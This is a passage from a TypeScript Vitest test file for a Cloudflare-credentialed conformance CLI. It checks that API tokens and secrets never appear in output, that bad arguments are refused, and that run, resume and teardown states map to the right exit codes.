'empty', count: 0 }, + }, + fleet: { uuid: fleetUuid, name: f.prepared.names.fleetDatabase }, + quota: null, + exports: null, + upload: null, + active: null, + ingress: null, + controlReadOrdinal: null, + pending: null, + }, + }; + const journal = { + ...actual, + snapshot: () => snapshot, + recordResume: vi.fn(async () => { + snapshot = { + ...snapshot, + resumeCount: Math.min( + DIRECT_RUN_MAX_RESUME_COUNT, + (snapshot.resumeCount ?? 0) + 1, + ), + }; + }), + close: vi.fn(() => closed(actual)), + }; + const modules = { + preflight: vi.fn(async () => f.prepared), + openRunState: vi.fn(async () => journal), + inspectRunState: vi.fn(async () => ({ snapshot, close: journal.close })), + bootstrap: vi.fn( + async () => ({}) as DirectInvocationClient, + ), + scenario: vi.fn(async () => ({ + status: 'restart-required', + })), + teardown: vi.fn(async () => ({ + status: 'cleaned', + facts: { + retainedIdentities: { + fleetUuid: null, + quotaUuid: null, + exportBucket: null, + scriptName: null, + activeVersionId: null, + }, + receipts: maximalTeardown().receipts, + residual: null, + providerRequests: 7, + failure: null, + }, + })), + distPresent: vi.fn(() => true), + }; + const set = (fields: Partial) => { + snapshot = { ...snapshot, ...fields }; + }; + const run = async (mode: DirectConformanceMode = 'resume') => { + const result = await runDirectConformance({ + mode, + configPath: f.configPath, + env, + modules, + now, + git: () => 'a'.repeat(40), + }); + expectCredentialSafeOutput(result); + return result; + }; + return { f, journal, modules, set, run, snapshot: () => snapshot }; +} + +function retained( + w: Awaited>, + publish: boolean, + reason: DirectTeardownFailure = 'invalid-state', +) { + w.modules.teardown.mockImplementation(async () => { + if (publish) + w.set({ + teardown: { + ...teardownState(), + phase: 'refused', + failure: 'scenario-incomplete', + }, + }); + return { + status: 'retained', + reason, + phase: 'refused', + facts: { + retainedIdentities: { + fleetUuid: null, + quotaUuid: null, + exportBucket: null, + scriptName: null, + activeVersionId: null, + }, + receipts: teardownState().receipts, + residual: null, + providerRequests: 9, + failure: 'invalid-state', + }, + }; + }); +} + +const entry = fileURLToPath( + new URL('../scripts/direct-credentialed-conformance.mjs', import.meta.url), +); +async function child( + command: string, + args: string[], + cwd?: string, + extraEnv: Record = {}, + readCredentials = extraEnv, +) { + const spawned = spawn(command, args, { + cwd, + env: { PATH: process.env.PATH, ...extraEnv }, + stdio: ['ignore', 'pipe', 'pipe'], + }); + let stdout = ''; + let stderr = ''; + let transcript = ''; + spawned.stdout.setEncoding('utf8'); + spawned.stderr.setEncoding('utf8'); + spawned.stdout.on('data', (chunk) => { + stdout += chunk; + transcript += chunk; + }); + spawned.stderr.on('data', (chunk) => { + stderr += chunk; + transcript += chunk; + }); + const code = await new Promise((resolve, reject) => { + spawned.once('error', reject); + spawned.once('close', resolve); + }); + const result = { code, stdout, stderr, transcript }; + expectCredentialSafeOutput(result, readCredentials); + return result; +} + +async function entryWithRuntime( + run: typeof runDirectConformance, + credentials: Record, + reenterStderr = false, +) { + const result = { + code: null as number | null, + stdout: '', + stderr: '', + transcript: '', + }; + const handlers = new Map void>(); + const source = await readFile(entry, 'utf8'); + runInNewContext(source.replace(/^import \{[\s\S]*?\} from '[^']+';/m, ''), { + parseDirectConformanceArgs, + resolveDirectExitCode, + runDirectConformance: run, + DIRECT_INTERNAL_ERROR_DIAGNOSTIC, + DIRECT_USAGE_DIAGNOSTIC, + process: { + argv: ['node', entry, '--run'], + env: credentials, + set exitCode(code: number) { + result.code = code; + }, + on: (event: string, handler: () => void) => handlers.set(event, handler), + stdout: { + write: (line: string) => { + result.stdout += line; + result.transcript += line; + }, + }, + stderr: { + write: (line: string) => { + result.stderr += line; + result.transcript += line; + if (reenterStderr) { + reenterStderr = false; + handlers.get('unhandledRejection')?.(); + } + }, + }, + }, + }); + await vi.waitFor(() => expect(result.code).not.toBeNull()); + expectCredentialSafeOutput(result, credentials); + return result; +} + +describe.sequential('direct CLI runtime', () => { + it('freezes complete fixed output lines from the emitted constants', () => { + expect(Object.isFrozen(DIRECT_FIXED_OUTPUT)).toBe(true); + expect(DIRECT_FIXED_OUTPUT).toEqual([ + 'DIRECT_CONFORMANCE {"code":"evidence-failed","evidenceWritten":false}\n', + '{"code":"evidence-failed","evidenceWritten":false}\n', + 'DIRECT_CONFORMANCE {"code":"evidence-failed","evidenceWritten":true}\n', + '{"code":"evidence-failed","evidenceWritten":true}\n', + '{"code":"usage"}\n', + '{"code":"internal-error"}\n', + '{"code":"invalid-input","variable":"CLOUDFLARE_ACCOUNT_ID"}\n', + '{"code":"invalid-input","variable":"CLOUDFLARE_API_TOKEN"}\n', + '{"code":"invalid-input","variable":"FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET"}\n', + ]); + expect(DIRECT_FIXED_OUTPUT).toContain(DIRECT_USAGE_DIAGNOSTIC); + expect(DIRECT_FIXED_OUTPUT).toContain(DIRECT_INTERNAL_ERROR_DIAGNOSTIC); + }); + + it.each([ + 'DIRECT_CONFORMANCE', + 'code', + 'false', + 'enc', + 'evidence-failed', + 'evidenceWritten', + 'true', + 'usage', + 'internal-error', + 'E {"', + 'invalid-input', + 'variable', + ])('refuses a fixed-output credential with a safe fixed diagnostic or silence (%s)', async (secret) => { + const f = await fixture(680); + for (const variable of [ + 'CLOUDFLARE_API_TOKEN', + 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', + ]) { + const credentials = { ...env, [variable]: secret }; + const distPresent = vi.fn(() => false); + const openRunState = vi.fn(); + const diagnostic = `${JSON.stringify({ code: 'invalid-input', variable })}\n`; + const stderrLine = diagnostic.includes(secret) ? null : diagnostic; + const result = await runDirectConformance({ + mode: 'run', + configPath: f.configPath, + env: credentials, + now, + modules: { distPresent, openRunState }, + }); + expect(result).toEqual({ + exitCode: 2, + summary: { code: 'invalid-input', variable }, + evidencePath: null, + stdoutLine: null, + stderrLine, + stderrOnly: true, + }); + expectCredentialSafeOutput(result, credentials); + expect(distPresent).not.toHaveBeenCalled(); + expect(openRunState).not.toHaveBeenCalled(); + expect(probes.sdk).not.toHaveBeenCalled(); + expect(existsSync(f.base)).toBe(false); + const spawned = await child( + process.execPath, + [entry, '--run'], + undefined, + { + CLOUDFLARE_ACCOUNT_ID: credentials.CLOUDFLARE_ACCOUNT_ID, + CLOUDFLARE_API_TOKEN: credentials.CLOUDFLARE_API_TOKEN, + FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: + credentials.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET, + FLEET_DIRECT_CONFORMANCE_CONFIG: f.configPath, + }, + ); + expect(spawned.code).toBe(2); + expect(spawned.stdout).toBe(''); + expect(spawned.stderr).toBe(stderrLine ?? ''); + expect(existsSync(f.base)).toBe(false); + } + }); + + it('admits an account ID contained in the fixed output vocabulary', async () => { + const f = await fixture(1000); + const distPresent = vi.fn(() => false); + const result = await runDirectConformance({ + mode: 'run', + configPath: f.configPath, + env: { ...env, CLOUDFLARE_ACCOUNT_ID: 'code' }, + now, + modules: { distPresent }, + }); + expect(result.summary).toEqual({ + code: 'dist-missing', + command: 'pnpm build', + }); + expectCredentialSafeOutput(result); + expect(distPresent).toHaveBeenCalledOnce(); + expect(existsSync(f.base)).toBe(false); + }); + + it.each([ + 'invalid-input', + 'variable', + 'code', + ])('silently refuses a protocol-word token with another invalid environment value (%s)', async (secret) => { + const f = await fixture(680); + const credentials = { + ...env, + CLOUDFLARE_ACCOUNT_ID: secret === 'code' ? '' : env.CLOUDFLARE_ACCOUNT_ID, + CLOUDFLARE_API_TOKEN: secret, + FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: '', + }; + const distPresent = vi.fn(); + const result = await runDirectConformance({ + mode: 'run', + configPath: f.configPath, + env: credentials, + now, + modules: { distPresent }, + }); + expectCredentialSafeOutput(result, credentials); + expect(result).toMatchObject({ + exitCode: 2, + stdoutLine: null, + stderrLine: null, + stderrOnly: true, + }); + expect(distPresent).not.toHaveBeenCalled(); + const spawned = await child(process.execPath, [entry, '--run'], undefined, { + CLOUDFLARE_ACCOUNT_ID: credentials.CLOUDFLARE_ACCOUNT_ID, + CLOUDFLARE_API_TOKEN: secret, + FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: '', + FLEET_DIRECT_CONFORMANCE_CONFIG: f.configPath, + }); + expect(spawned).toEqual({ + code: 2, + stdout: '', + stderr: '', + transcript: '', + }); + expect(existsSync(f.base)).toBe(false); + }); + + it.each([ + 'CLOUDFLARE_API_TOKEN', + 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', + ])('prints fixed diagnostics for invalid argv despite colliding %s', async (variable) => { + const usage = await child( + process.execPath, + [entry, '--bad'], + undefined, + { [variable]: 'usage' }, + {}, + ); + expect(usage).toEqual({ + code: 2, + stdout: '', + stderr: DIRECT_USAGE_DIAGNOSTIC, + transcript: DIRECT_USAGE_DIAGNOSTIC, + }); + const f = await fixture(); + const preload = join(f.directory, 'preload.mjs'); + await writeFile( + preload, + `setTimeout(() => { throw new Error('secret-stack'); }, 0);\n`, + ); + const failure = await child( + process.execPath, + ['--import', preload, entry, '--bad'], + undefined, + { [variable]: 'code' }, + {}, + ); + expect(failure).toEqual({ + code: 1, + stdout: '', + stderr: DIRECT_USAGE_DIAGNOSTIC + DIRECT_INTERNAL_ERROR_DIAGNOSTIC, + transcript: DIRECT_USAGE_DIAGNOSTIC + DIRECT_INTERNAL_ERROR_DIAGNOSTIC, + }); + }); + + it.each([ + 'CLOUDFLARE_API_TOKEN', + 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', + ] as const)('drops a later rejection diagnostic when %s spans consecutive stderr lines', async (variable) => { + const f = await fixture(); + const preload = join(f.directory, 'preload.mjs'); + await writeFile( + preload, + `const write = process.stderr.write.bind(process.stderr); +process.stderr.write = (...args) => { + const result = write(...args); + if (args[0].includes('invalid-input')) + setTimeout(() => { Promise.reject(new Error('secret-stack')); }, 0); + return result; +};\n`, + ); + const credentials = { + ...env, + [variable]: '}\n{', + FLEET_DIRECT_CONFORMANCE_CONFIG: f.configPath, + }; + const result = await child( + process.execPath, + ['--import', preload, entry, '--run'], + undefined, + credentials, + ); + const refusal = `${JSON.stringify({ code: 'invalid-input', variable })}\n`; + expect(refusal).not.toContain(credentials[variable]); + expect(DIRECT_INTERNAL_ERROR_DIAGNOSTIC).not.toContain( + credentials[variable], + ); + expect(refusal + DIRECT_INTERNAL_ERROR_DIAGNOSTIC).toContain( + credentials[variable], + ); + expect(result).toEqual({ + code: 1, + stdout: '', + stderr: refusal, + transcript: refusal, + }); + expect(result.stderr).not.toContain(credentials.CLOUDFLARE_API_TOKEN); + expect(result.stderr).not.toContain( + credentials.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET, + ); + expect(existsSync(f.base)).toBe(false); + }); + + it.each([ + 'CLOUDFLARE_API_TOKEN', + 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', + ])('drops the stderr copy when %s spans stdout and stderr', async (variable) => { + const summary = + '{"code":"invalid-input","variable":"FLEET_DIRECT_CONFORMANCE_CONFIG"}\n'; + const stdout = `${DIRECT_OUTPUT_PREFIX}${summary}`; + const secret = 'CONFIG"}\n{"code"'; + expect(stdout).not.toContain(secret); + expect(summary).not.toContain(secret); + expect(stdout + summary).toContain(secret); + const result = await entryWithRuntime( + async (input) => { + void input.env.CLOUDFLARE_API_TOKEN; + void input.env.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET; + return { + exitCode: 2, + summary: JSON.parse(summary), + evidencePath: null, + stdoutLine: stdout, + stderrLine: summary, + }; + }, + { ...env, [variable]: secret }, + ); + expect(result).toEqual({ code: 2, stdout, stderr: '', transcript: stdout }); + }); + + it.each([ + 'CLOUDFLARE_API_TOKEN', + 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', + ])('exits 5 when the entry suppresses a dynamic summary containing %s', async (variable) => { + const secret = 'fleet-dynamic-worker'; + expect(DIRECT_FIXED_OUTPUT.some((line) => line.includes(secret))).toBe( + false, + ); + const summary = { names: { worker: secret } }; + const stderrLine = `${JSON.stringify(summary)}\n`; + const result = await entryWithRuntime( + async (input) => { + expect(input.mode).toBe('run'); + void input.env.CLOUDFLARE_API_TOKEN; + void input.env.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET; + return { + exitCode: 0, + summary, + evidencePath: null, + stdoutLine: `${DIRECT_OUTPUT_PREFIX}${stderrLine}`, + stderrLine, + }; + }, + { ...env, [variable]: secret }, + ); + expect(result).toEqual({ code: 5, stdout: '', stderr: '', transcript: '' }); + }); + + it('reserves transcript bytes before a synchronous diagnostic re-enters the guard', async () => { + const stderrLine = + '{"code":"invalid-input","variable":"CLOUDFLARE_API_TOKEN"}\n'; + const result = await entryWithRuntime( + async (input) => { + void input.env.CLOUDFLARE_API_TOKEN; + void input.env.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET; + return { + exitCode: 2, + summary: JSON.parse(stderrLine), + evidencePath: null, + stdoutLine: null, + stderrLine, + stderrOnly: true, + }; + }, + { ...env, CLOUDFLARE_API_TOKEN: '}\n{' }, + true, + ); + expect(result).toEqual({ + code: 1, + stdout: '', + stderr: stderrLine, + transcript: stderrLine, + }); + }); + + it('captures each live credential once after local preflight', async () => { + const f = await fixture(); + const reads: string[] = []; + const credentials = new Proxy( + { ...env, FLEET_DIRECT_CONFORMANCE_CONFIG: f.configPath }, + { + get(target, key) { + if ( + key === 'CLOUDFLARE_API_TOKEN' || + key === 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET' + ) + reads.push(key); + return Reflect.get(target, key); + }, + }, + ); + const result = await entryWithRuntime(async (input) => { + const result = await runDirectConformance({ + ...input, + modules: { + preflight: async () => { + expect(reads).toEqual([]); + return f.prepared; + }, + distPresent: () => false, + }, + }); + expect(reads).toEqual([ + 'CLOUDFLARE_API_TOKEN', + 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', + ]); + return result; + }, credentials); + expect(result.code).toBe(2); + expect(result.stdout).toContain('dist-missing'); + expect(existsSync(f.base)).toBe(false); + }); + + it('returns null stderr for an unknown admission variable', async () => { + const f = await fixture(); + const parse = JSON.parse; + const decode = vi + .spyOn(JSON, 'parse') + .mockImplementation((text, reviver) => { + const decoded = parse(text, reviver); + if (decoded?.code === 'invalid-input') + return { ...decoded, variable: 'UNKNOWN_VARIABLE' }; + return decoded; + }); + try { + const result = await runDirectConformance({ + mode: 'run', + configPath: f.configPath, + env: { ...env, CLOUDFLARE_API_TOKEN: '' }, + modules: { preflight: async () => f.prepared }, + }); + expect(result).toEqual({ + exitCode: 2, + summary: { code: 'invalid-input', variable: 'UNKNOWN_VARIABLE' }, + evidencePath: null, + stdoutLine: null, + stderrLine: null, + stderrOnly: true, + }); + expectCredentialSafeOutput(result, { ...env, CLOUDFLARE_API_TOKEN: '' }); + } finally { + decode.mockRestore(); + } + }); + + it('resolves terminal exit codes with evidence failure before internal error and stable ties', () => { + const codes = [0, 1, 2, 3, 4, 5]; + const expected = [ + [0, 1, 0, 0, 0, 5], + [1, 1, 1, 1, 1, 5], + [2, 1, 2, 2, 2, 5], + [3, 1, 3, 3, 3, 5], + [4, 1, 4, 4, 4, 5], + [5, 5, 5, 5, 5, 5], + ]; + for (const next of codes) { + expect(resolveDirectExitCode(null, next)).toBe(next); + for (const current of codes) + expect(resolveDirectExitCode(current, next)).toBe( + expected[current]?.[next], + ); + } + }); + + it.each([ + 'Promise.reject(new Error("secret-stack"))', + 'throw new Error("secret-stack")', + ])('prints help and a later timer error with noncolliding credentials (%s)', async (failure) => { + const f = await fixture(); + const preload = join(f.directory, 'preload.mjs'); + await writeFile( + preload, + `const write = process.stdout.write.bind(process.stdout); +process.stdout.write = (...args) => { + const result = write(...args); + setTimeout(() => { ${failure}; }, 0); + return result; +};\n`, + ); + const result = await child( + process.execPath, + ['--import', preload, entry, '--help'], + undefined, + env, + ); + expect(result.code).toBe(1); + expect(result.stdout).toBe( + `${DIRECT_OUTPUT_PREFIX}${JSON.stringify({ usage: DIRECT_CONFORMANCE_USAGE })}\n`, + ); + expect(result.stderr).toBe('{"code":"internal-error"}\n'); + expect(result.transcript).toBe(result.stdout + result.stderr); + }); + + it('preserves an internal error when help completion subsequently sets its exit code', async () => { + const f = await fixture(); + const preload = join(f.directory, 'preload.mjs'); + await writeFile( + preload, + `const write = process.stdout.write.bind(process.stdout); +process.stdout.write = (...args) => { + process.emit('unhandledRejection', new Error('secret-stack')); + return write(...args); +};\n`, + ); + const result = await child(process.execPath, [ + '--import', + preload, + entry, + '--help', + ]); + expect(result.code).toBe(1); + expect(result.stdout).toMatch(/^DIRECT_CONFORMANCE \{"usage":"Usage: /); + expect(result.stderr).toBe('{"code":"internal-error"}\n'); + }); + + it.each([ + ['--bad'], + ['--run', '--resume'], + ['--run', '--run'], + ['value'], + ['--run=true'], + ['--help', '--run'], + ['--', '--', '--run'], + ['--preflight', '--'], + ])('refuses invalid argv %j without effects', async (...argv) => { + const f = await fixture(); + expect(parseDirectConformanceArgs(argv)).toBeNull(); + const result = await child(process.execPath, [entry, ...argv], undefined, { + FLEET_DIRECT_CONFORMANCE_CONFIG: f.configPath, + }); + expect(result.code).toBe(2); + expect(result.stdout).toBe(''); + expect(result.stderr).toBe(DIRECT_USAGE_DIAGNOSTIC); + expect(existsSync(f.base)).toBe(false); + }); + + it.each([ + [], + ['--preflight'], + ['--', '--preflight'], + ['--'], + ])('accepts preflight argv %j', (...argv) => { + expect(parseDirectConformanceArgs(argv)).toBe('preflight'); + }); + + it.each([ + 'CLOUDFLARE_API_TOKEN', + 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', + undefined, + ])('prints exact help without reading credentials (%s)', async (variable) => { + const f = await fixture(); + const preload = join(f.directory, 'preload.mjs'); + const readsPath = join(f.directory, 'reads.json'); + await writeFile( + preload, + `import { writeFileSync } from 'node:fs'; +const reads = []; +process.env = new Proxy(process.env, { + get(target, key) { + if (['CLOUDFLARE_API_TOKEN', 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET'].includes(key)) reads.push(key); + return Reflect.get(target, key); + }, +}); +process.on('exit', () => writeFileSync(${JSON.stringify(readsPath)}, JSON.stringify(reads)));\n`, + ); + const result = await child( + process.execPath, + ['--import', preload, entry, '--help'], + undefined, + variable ? { [variable]: 'DIRECT_CONFORMANCE' } : {}, + {}, + ); + const stdout = `${DIRECT_OUTPUT_PREFIX}${JSON.stringify({ usage: DIRECT_CONFORMANCE_USAGE })}\n`; + expect(result).toEqual({ code: 0, stdout, stderr: '', transcript: stdout }); + expect(JSON.parse(await readFile(readsPath, 'utf8'))).toEqual([]); + expect(existsSync(f.base)).toBe(false); + }); + + it.each([ + 'CLOUDFLARE_API_TOKEN', + 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', + ])('prints local preflight without reading colliding %s', async (variable) => { + const f = await fixture(); + const preload = join(f.directory, 'preload.mjs'); + await writeFile( + preload, + `process.env = new Proxy(process.env, { + get(target, key) { + if (['CLOUDFLARE_API_TOKEN', 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET'].includes(key)) throw new Error('credential-read'); + return Reflect.get(target, key); + }, +});\n`, + ); + const result = await child( + process.execPath, + ['--import', preload, entry, '--preflight'], + undefined, + { + [variable]: 'DIRECT_CONFORMANCE', + FLEET_DIRECT_CONFORMANCE_CONFIG: f.configPath, + }, + {}, + ); + expect(result.code).toBe(0); + expect(result.stdout).toBe( + `${DIRECT_OUTPUT_PREFIX}${JSON.stringify({ + configSha256: f.prepared.configSha256, + referenceModuleSetSha256: f.prepared.referenceModuleSetSha256, + referenceUploadBytes: f.prepared.referenceUploadBytes, + names: f.prepared.names, + })}\n`, + ); + expect(result.stderr).toBe(''); + expect(existsSync(f.base)).toBe(false); + }); + + it('prints the exact help line without configuration or credentials', async () => { + const result = await runDirectConformance({ + mode: 'help', + configPath: undefined, + env: {}, + }); + expect(result.exitCode).toBe(0); + expect(result.summary).toHaveProperty('usage'); + expectCredentialSafeOutput(result, {}); + const expected = `${DIRECT_OUTPUT_PREFIX}${JSON.stringify({ usage: DIRECT_CONFORMANCE_USAGE })}\n`; + expect(result.stdoutLine).toBe(expected); + const spawned = await child(process.execPath, [entry, '--help']); + expect(spawned.code).toBe(0); + expect(spawned.stdout).toBe(expected); + expect(spawned.stderr).toBe(''); + }); + + it.each([ + 'CLOUDFLARE_ACCOUNT_ID', + 'CLOUDFLARE_API_TOKEN', + 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', + ])('refuses invalid %s after preflight without locking', async (variable) => { + const f = await fixture(1000); + for (const value of [ + undefined, + '', + ' padded', + 'padded ', + 'in\nternal', + 'in\u007fternal', + 'in\u0000ternal', + ]) { + const openRunState = vi.fn(); + const preflight = vi.fn(async () => f.prepared); + const result = await runDirectConformance({ + mode: 'run', + configPath: f.configPath, + env: { ...env, [variable]: value }, + modules: { preflight, openRunState }, + now, + }); + expect(result).toMatchObject({ + exitCode: 2, + summary: { code: 'invalid-input', variable }, + }); + expectCredentialSafeOutput(result, { ...env, [variable]: value }); + expect(preflight).toHaveBeenCalledOnce(); + expect(openRunState).not.toHaveBeenCalled(); + expect(existsSync(f.base)).toBe(false); + } + }); + + it.each([ + undefined, + '', + ' padded', + 'bad\npath', + ])('refuses invalid config environment %s', async (configPath) => { + const preflight = vi.fn(); + const result = await runDirectConformance({ + mode: 'preflight', + configPath, + env: {}, + modules: { preflight }, + }); + expectCredentialSafeOutput(result, {}); + expect(result).toMatchObject({ + exitCode: 2, + summary: { variable: 'FLEET_DIRECT_CONFORMANCE_CONFIG' }, + }); + expect(preflight).not.toHaveBeenCalled(); + }); + + it('sanitizes local preflight failure and never creates state', async () => { + const f = await fixture(); + await writeFile(f.configPath, 'not json private-api-seed'); + const result = await runDirectConformance({ + mode: 'run', + configPath: f.configPath, + env, + now, + }); + expect(result).toMatchObject({ + exitCode: 2, + summary: { code: 'preflight-failed' }, + }); + expectCredentialSafeOutput(result); + expect(existsSync(f.base)).toBe(false); + }); + + it.each([ + '--preflight', + '-- --preflight', + ])('spawns a valid local %s entry with one summary', async (args) => { + const f = await fixture(); + const result = await child( + process.execPath, + [entry, ...args.split(' ')], + undefined, + { FLEET_DIRECT_CONFORMANCE_CONFIG: f.configPath }, + ); + expect(result.code).toBe(0); + const lines = result.stdout.trim().split('\n'); + expect(lines).toHaveLength(1); + expect(lines[0]).toMatch(/^DIRECT_CONFORMANCE /); + expect( + JSON.parse(lines[0]?.slice('DIRECT_CONFORMANCE '.length) ?? ''), + ).toMatchObject({ + configSha256: f.prepared.configSha256, + referenceModuleSetSha256: f.prepared.referenceModuleSetSha256, + referenceUploadBytes: f.prepared.referenceUploadBytes, + names: f.prepared.names, + }); + expect(result.stderr).toBe(''); + expect(existsSync(f.base)).toBe(false); + }); + + it('sanitizes a rejected promise in the spawned entry', async () => { + const result = await child(process.execPath, [ + '--input-type=module', + '-e', + `await import(${JSON.stringify(entry)}); Promise.reject(new Error('secret-stack'));`, + ]); + expect(result.code).toBe(1); + expect(result.stderr).toBe( + '{"code":"invalid-input","variable":"FLEET_DIRECT_CONFORMANCE_CONFIG"}\n' + + DIRECT_INTERNAL_ERROR_DIAGNOSTIC, + ); + expect(result.stderr).not.toContain('secret-stack'); + expect(result.stderr).not.toContain(' at '); + }); + + it('row 1 is evidence-only at the resume ceiling', async () => { + const w = await world(); + w.set({ + teardown: { ...maximalTeardown(), phase: 'complete', failure: null }, + resumeCount: DIRECT_RUN_MAX_RESUME_COUNT, + }); + const before = JSON.stringify(w.snapshot()); + const result = await w.run(); + expect(result.exitCode).toBe(0); + expect(w.modules.bootstrap).not.toHaveBeenCalled(); + expect(w.modules.scenario).not.toHaveBeenCalled(); + expect(w.modules.teardown).not.toHaveBeenCalled(); + expect(w.journal.recordResume).toHaveBeenCalledOnce(); + expect(JSON.stringify(w.snapshot())).toBe(before); + expect(w.journal.close).toHaveBeenCalledOnce(); + expect(result.summary).toMatchObject({ + status: 'cleaned', + teardownCall: null, + retainedIdentities: { + fleetUuid: null, + quotaUuid: null, + exportBucket: null, + scriptName: null, + activeVersionId: null, + }, + }); + }); + + it.each([ + 'refused', + 'ingress', + 'complete', + ] as const)('row 2 consumes teardown phase %s before bootstrap or scenario', async (phase) => { + const w = await world(); + w.set({ + teardown: { ...teardownState(), phase, failure: 'scenario-incomplete' }, + }); + retained(w, phase === 'refused', 'scenario-incomplete'); + for (let call = 0; call < 2; call++) { + const result = await w.run(); + expect(result.exitCode).toBe(phase === 'refused' ? 1 : 4); + expect(result.summary).toMatchObject({ + teardownCall: { + status: 'retained', + failure: { code: 'scenario-incomplete' }, + providerRequests: 9, + }, + }); + } + expect(w.modules.bootstrap).not.toHaveBeenCalled(); + expect(w.modules.scenario).not.toHaveBeenCalled(); + expect(w.modules.teardown).toHaveBeenCalledTimes(2); + }); + + it.each([ + false, + true, + ])('row 3 retains scenario failure with published refusal=%s', async (publish) => { + const w = await world(); + w.set({ + scenario: { + ...completeScenario(), + failure: { + code: 'budget-exhausted', + ordinal: 1, + detail: 'run-reserve', + }, + }, + }); + retained(w, publish); + const result = await w.run(); + expect(result.exitCode).toBe(publish ? 1 : 4); + expect(result.summary).toMatchObject({ + scenario: { + failure: { + code: 'budget-exhausted', + ordinal: 1, + detail: 'run-reserve', + }, + }, + }); + expect(w.modules.bootstrap).not.toHaveBeenCalled(); + expect(w.modules.scenario).not.toHaveBeenCalled(); + }); + + it.each([ + false, + true, + ])('row 4 maps returned outcome with retained=%s and no published refusal', async (retain) => { + const w = await world(); + w.set({ scenario: completeScenario() }); + if (retain) retained(w, false); + const result = await w.run(); + expect(result.exitCode).toBe(retain ? 4 : 0); + expect(w.modules.bootstrap).not.toHaveBeenCalled(); + expect(w.modules.scenario).not.toHaveBeenCalled(); + expect(w.modules.teardown).toHaveBeenCalledOnce(); + }); + + it.each([ + 'run', + 'resume', + ] as const)('row 5 bootstraps a fresh %s and closes on restart without teardown', async (mode) => { + const w = await world(); + const result = await w.run(mode); + expect(result.exitCode).toBe(3); + expect(w.modules.bootstrap).toHaveBeenCalledOnce(); + expect(w.modules.scenario).toHaveBeenCalledOnce(); + expect(w.modules.teardown).not.toHaveBeenCalled(); + expect(w.journal.close).toHaveBeenCalledOnce(); + expect(w.journal.recordResume).toHaveBeenCalledTimes( + mode === 'resume' ? 1 : 0, + ); + expect(result.summary).toMatchObject({ + command: 'pnpm fleet-control:credentialed:direct -- --resume', + }); + }); + + it.each([ + 'complete', + 'failed', + ] as const)('row 5 calls teardown after %s', async (status) => { + const w = await world(); + w.modules.scenario.mockImplementation(async () => + status === 'failed' + ? { status, reason: 'journal-failed', phase: null, invocationCount: 0 } + : { + status, + facts: completeScenario().proofs, + invocationCount: 0, + attempts: { provider: 0, maintenance: 0, application: 0 }, + sdkRequests: 0, + }, + ); + retained(w, status === 'failed'); + const result = await w.run(); + expect(result.exitCode).toBe(status === 'failed' ? 1 : 4); + expect(w.modules.teardown).toHaveBeenCalledOnce(); + }); + + it('uses inspection on outcome-unknown without recording a resume', async () => { + const w = await world(); + w.modules.openRunState.mockRejectedValue( + new DirectRunStateError('outcome-unknown'), + ); + const before = JSON.stringify(w.snapshot()); + const result = await w.run(); + expect(result.exitCode).toBe(1); + expect(result.summary).toMatchObject({ + status: 'outcome-unknown', + evidenceWritten: true, + }); + expect(JSON.stringify(w.snapshot())).toBe(before); + expect(w.journal.recordResume).not.toHaveBeenCalled(); + expect(w.modules.inspectRunState).toHaveBeenCalledOnce(); + expect(w.modules.teardown).not.toHaveBeenCalled(); + expect(w.journal.close).toHaveBeenCalledOnce(); + }); + + it.each([ + 'run-exists', + 'run-missing', + 'lock-unavailable', + 'invalid-state', + 'unsupported-scenario-version', + ] as const)('reports open refusal %s without evidence', async (code) => { + const w = await world(); + w.modules.openRunState.mockRejectedValue(new DirectRunStateError(code)); + const result = await w.run(); + expect(result).toMatchObject({ + exitCode: 1, + summary: { code }, + evidencePath: null, + }); + expect(existsSync(join(w.f.runDirectory, 'evidence.json'))).toBe(false); + expect(w.modules.inspectRunState).not.toHaveBeenCalled(); + }); + + it.each([ + 'run', + 'resume', + ] as const)('refuses absent dist and sub-floor %s before acquiring a lock', async (mode) => { + const f = await fixture(680); + const openRunState = vi.fn(); + for (const distPresent of [false, true]) { + const result = await runDirectConformance({ + mode, + configPath: f.configPath, + env, + now, + modules: { distPresent: () => distPresent, openRunState }, + }); + expect(result).toMatchObject({ + exitCode: 2, + summary: { + code: distPresent ? 'below-scenario-floor' : 'dist-missing', + }, + }); + expectCredentialSafeOutput(result); + if (!distPresent) + expect(result.summary).toHaveProperty('command', 'pnpm build'); + expect(openRunState).not.toHaveBeenCalled(); + expect(existsSync(f.base)).toBe(false); + } + }); + + it.each([ + 'private-api-seed', + 'Bearer ', + 'seed"token', + 'seed\\token', + ])('redacts a colliding identity and exits 5 (%s)', async (sentinel) => { + const w = await world(sentinel); + const credentials = { + ...env, + CLOUDFLARE_API_TOKEN: + sentinel === 'Bearer ' ? env.CLOUDFLARE_API_TOKEN : sentinel, + }; + const result = await runDirectConformance({ + mode: 'resume', + configPath: w.f.configPath, + env: credentials, + now, + modules: w.modules, + }); + expect(result).toMatchObject({ + exitCode: 5, + summary: { + code: 'evidence-failed', + sentinelClass: sentinel === 'Bearer ' ? 'literal' : 'env-secret', + keyPath: 'retainedIdentities.fleetUuid', + evidenceWritten: false, + }, + }); + expectCredentialSafeOutput(result, credentials); + expect(result.stdoutLine).not.toContain(sentinel); + expect(existsSync(join(w.f.runDirectory, 'evidence.json'))).toBe(false); + expect(w.journal.close).toHaveBeenCalledOnce(); + }); + + it('omits a cleaned status credential from row-1 refusal summaries and stdout bytes', async () => { + const w = await world(); + w.set({ + teardown: { ...maximalTeardown(), phase: 'complete', failure: 